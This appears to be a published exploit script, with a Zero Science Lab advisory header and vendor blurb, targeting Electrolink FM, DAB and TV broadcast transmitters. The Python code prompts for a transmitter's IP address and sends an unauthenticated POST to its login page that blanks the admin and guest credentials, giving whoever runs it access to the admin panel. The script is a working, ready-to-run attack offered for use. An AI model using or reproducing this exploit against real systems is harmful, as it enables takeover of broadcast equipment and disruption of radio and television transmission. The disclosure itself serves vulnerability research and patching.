#!/usr/bin/env python # # # Electrolink FM/DAB/TV Transmitter Remote Authentication Removal # # # Vendor: Electrolink s.r.l. # Product web page: https://www.electrolink.com # Affected version: 10W, 100W, 250W, Compact DAB Transmitter # 500W, 1kW, 2kW Medium DAB Transmitter # 2.5kW, 3kW, 4kW, 5kW High Power DAB Transmitter # 100W, 500W, 1kW, 2kW Compact FM Transmitter # 3kW, 5kW, 10kW, 15kW, 20kW, 30kW Modular FM Transmitter # 15W - 40kW Digital FM Transmitter # BI, BIII VHF TV Transmitter # 10W - 5kW UHF TV Transmitter # Web version: 01.09, 01.08, 01.07 # Display version: 1.4, 1.2 # Control unit version: 01.06, 01.04, 01.03 # Firmware version: 2.1 # # Summary: Since 1990 Electrolink has been dealing with design and # manufacturing of advanced technologies for radio and television # broadcasting. The most comprehensive products range includes: FM # Transmitters, DAB Transmitters, TV Transmitters for analogue and # digital multistandard operation, Bandpass Filters (FM, DAB, ATV, # DTV), Channel combiners (FM, DAB, ATV, DTV), Motorized coaxial # switches, Manual patch panels, RF power meters, Rigid line and # accessories. A professional solution that meets broadcasters needs # from small community television or radio to big government networks. # # Compact DAB Transmitters 10W, 100W and 250W models with 3.5" # touch-screen display and in-built state of the art DAB modulator, # EDI input and GPS receiver. All transmitters are equipped with a # state-of-the art DAB modulator with excellent performances, # self-protected and self-controlled amplifiers ensure trouble-free # non-stop operation. # # 100W, 500W, 1kW and 2kW power range available on compact 2U and # 3U 19" frame. Built-in stereo coder, touch screen display and # efficient low noise air cooling system. Available models: 3kW, # 5kW, 10kW, 15kW, 20kW and 30kW. High efficiency FM transmitters # with fully broadband solid state amplifiers and an efficient # low-noise air cooling system. # # FM digital modulator with excellent specifications, built-in # stereo and RDS coder. Digital deviation limiter together with # ASI and SDI inputs are available. These transmitters are ready # for ISOFREQUENCY networks. # # Available for VHF BI and VHF BIII operation with robust desing # and user-friendly local and remote control. Multi-standard UHF # TV transmitters from 10W up to 5kW with efficient low noise air # cooling system. Analogue PAL, NTSC and Digital DVB-T/T2, ATSC # and ISDB-Tb available. # # Desc: The application is vulnerable to an unauthenticated # parameter manipulation that allows an attacker to set the # credentials to blank giving her access to the admin panel. # Also vulnerable to account takeover and arbitrary password # change. # # Tested on: Mbedthis-Appweb/12.5.0 # Mbedthis-Appweb/12.0.0 # # # Vulnerability discovered by Neurogenesia # Macedonian Information Security Research & Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2023-5792 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5792.php # # # 30.06.2023 # # import datetime import requests dt = datetime.datetime.now() dt = dt.strftime('%d.%m.%Y %H:%M:%S') nul = '' print('Starting transmitter exploit at', dt) ip = input('Enter transmitter ip: ') if 'http' not in ip: ip = 'http://' + ip ep = '/login.htm' url = ip + ep signature = {'Accept-Encoding' : 'gzip, deflate', 'Accept-Language' : 'ku-MK,en;q=0.1806', 'User-Agent' : 'Broadcastso/B.B', 'Connection' : 'keep-alive' } # ----------------- Line breaker v0.17 ----------------- postd = { 'adminuser' : nul, 'guestuser' : nul, 'adminpassword' : nul, 'guestpassword' : nul } print('Removing security control...') r = requests.post(url, data = postd, headers = signature) if r.status_code == 200: print('Done. Go and "Login".') else: print('Error') exit(-4)